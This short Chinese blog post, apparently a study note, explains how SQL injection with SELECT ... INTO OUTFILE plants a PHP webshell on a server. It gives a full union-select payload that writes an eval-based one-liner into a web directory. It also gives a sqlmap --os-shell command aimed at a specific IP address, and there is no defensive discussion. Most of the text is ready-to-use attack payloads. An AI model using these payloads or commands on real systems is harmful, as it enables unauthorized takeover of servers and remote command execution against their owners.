今天来说一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT … INTO OUTFILE 这个语句,下面是一个语句的例子:
SELECT * INTO OUTFILE ‘C:\log1.txt’
例如:
?id=1’ union select 1,2,’<?php @eval($_REQUEST[cmd]);?>’ into outfile ‘C:\phpStudy\WWW\502g58de\hahaha.php’ --+
然后菜刀连接就完了
搞不明白一点,1,2会不会也写进去?
sqlmap写webshell命令:
sqlmap -u “http://59.63.200.79:8804/single.php?id=1” --os-shell --batch
本文介绍了SQL注入中利用SELECT INTO OUTFILE语句在目标服务器上创建Webshell的过程。通过示例展示了如何构造恶意查询,将PHP代码写入到服务器的文件系统中,从而获取远程操作权限。此外,还提到了sqlmap工具用于自动化执行OS命令的功能。
3126

被折叠的 条评论
为什么被折叠?



